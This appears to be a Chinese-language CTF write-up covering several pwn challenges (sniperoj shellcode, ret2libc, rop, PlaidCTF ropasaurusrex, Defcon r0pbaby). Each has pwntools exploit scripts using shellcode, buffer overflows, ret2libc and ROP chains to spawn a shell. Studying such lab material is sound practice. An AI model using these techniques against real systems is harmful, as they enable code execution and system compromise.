sniperoj-pwn100-shellcode-x86-64
23 字節 shellcode
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
首先根據 gdb 確定偏移,然后把因為有個 leave 指令會破壞前面的,所以前面的填充為臟數據,然后加上返回地址占據的 8 位空間,確定在 buf_addr 后面 24+8 填充 shellcode
from pwn import * sh = process('./shellcode') shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" sh.recvuntil('[') buf_addr = sh.recvuntil(']', drop=True) buf_addr = int(buf_addr, 16) payload = 'b' * 24 + p64(buf_addr + 32) + shellcode_x64 print payload sh.sendline(payload) sh.interactive()
train.cs.nctu.edu.tw:ret2libc
這道題開啟了 NX 保護,然而運行的時候會把 puts 的地址跟 /bin/sh 的地址告訴我們,使用 pwntools 可以把地址提取出來,再根據 libcsearcher 查出 system 的地址,這樣就可以 getshell 了
exp:
from pwn import * from LibcSearcher import LibcSearcher p=process('./pwn') p.recvuntil('is ') bin_addr = int(p.recvuntil('\n), 16) print hex(bin_addr) p.recvuntil('is ') puts_addr = int(p.recvuntil('\n'), 16) print hex(puts_addr) libc=LibcSearcher('puts',puts_addr) libc_base=puts_addr-libc.dump('puts') sys_addr=libc_base+libc.dump('system') payload2='a'*32+p32(sys_addr)+p32(1234)+p32(bin_addr) p.sendline(payload2) p.interactive()
講一下 p.recvuntil('is ')
代表的是 "is" 之前的那一塊,當下一個 recvuntil 的時候就會把這那塊去掉了
把腳本里的第一個 p.recvuntil('is ')
替換成
print p.recvuntil('of ')
print p.recvuntil('is ')
就可以看出來作用是什么
ps. 正常會輸出這一些("^C" 是 ctrl+c 退出造成的,不包括):
train.cs.nctu.edu.tw:rop
沒找到題目,從大佬博客里面找到的,題目使用 nc 連上以后會輸出這些 gadgets 需要自己去構造 payload
把 push 的那一些 16 進制轉換一下
大佬說通過這些就可以構造出 payload 了
exp:我連不上。。。
from pwn import * sh = remote('bamboofox.cs.nctu.edu.tw',10001) payload = "9,9,1,10,9,3,3,12,4,12,2,2,8,8,8,8,8,0" sh.sendline(payload) sh.interactive()
2013-PlaidCTF-ropasaurusrex
沒有 system 和 /bin/sh,通過 ret2libc 的方法在 libc 里面找到,這里注意一下第一次泄露的是 got 表的內容,寫成了 plt 的,結果廢了兩個小時沒看出來,還以為又出現了什么超出知識水平的操作,,CTF 需要視力!!
exp:
from pwn import * from LibcSearcher import LibcSearcher p=process('./rop') elf=ELF('./rop') write_plt=elf.plt['write'] write_got=elf.got['write'] payload='a'*140+p32(write_plt)+p32(0x80483F4)+p32(1)+p32(write_got)+p32(4) p.sendline(payload) write_addr=u32(p.recv(4)) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') sys_addr=libc_base+libc.dump('system') bin_addr=libc_base+libc.dump('str_bin_sh') payload1='a'*140+p32(sys_addr)+p32(1234)+p32(bin_addr) p.sendline(payload1) p.interactive()
Defcon 2015 Qualifier: R0pbaby
checksec 檢查一下,發現是 64 位程序,所以參數應該是存儲在 rdi 寄存器上
64 位程序當參數少於 7 個時, 參數從左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
通過 ROPgadget --binary /libc/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "rdi"
獲取到 pop rdi ;ret 的地址:
通過程序自身提供的功能,可以獲取到 libc 的地址與任意函數的地址
同時第三個功能存在溢出,經過計算溢出的長度為 8
寫 exp:
from pwn import * from LibcSearcher import * p=process('./pwn') elf=ELF('./pwn') rdi_offset=0x0000000000021102 p.recvuntil(': ') p.sendline('2') p.recvuntil('symbol: ') p.sendline('system') p.recvuntil(': ') sys_addr=p.recvuntil('\n',drop=True) sys_addr=int(sys_addr,16) libc=LibcSearcher('system',sys_addr) libc_base=sys_addr-libc.dump('system') bin_addr=libc_base+libc.dump('str_bin_sh') rdi_addr=libc_base+rdi_offset payload='a'*8+p64(rdi_addr)+p64(bin_addr)+p64(sys_addr) p.recvuntil(': ') p.sendline('3') p.recvuntil('): ') length=len(payload) print length print str(length) p.sendline(str(length)) p.sendline(payload) p.interactive()
大佬的 exp:
from pwn import * from LibcSearcher import * ropbaby = ELF('./pwn') sh = process('./pwn') context.word_size = 64 def getfuncaddress(func): sh.recvuntil(': ') sh.sendline('2') sh.recvuntil('symbol: ') sh.sendline(func) sh.recvuntil(': ') addr = sh.recvuntil('\n', drop=True) return int(addr, 16) def addropbuff(payload): sh.recvuntil(': ') sh.sendline('3') sh.recvuntil('): ') length = len(payload) sh.sendline(str(length)) sh.sendline(payload) rdi_ret_offset = 0x0000000000021102 system_addr = getfuncaddress('system') libc = LibcSearcher('system', system_addr) libc_base = system_addr - libc.dump('system') binsh_addr = libc.dump('str_bin_sh') + libc_base rdi_ret = rdi_ret_offset + libc_base print hex(system_addr), hex(binsh_addr), hex(rdi_ret) payload = flat(['b' * 8, rdi_ret, binsh_addr, system_addr]) addropbuff(payload) sh.interactive()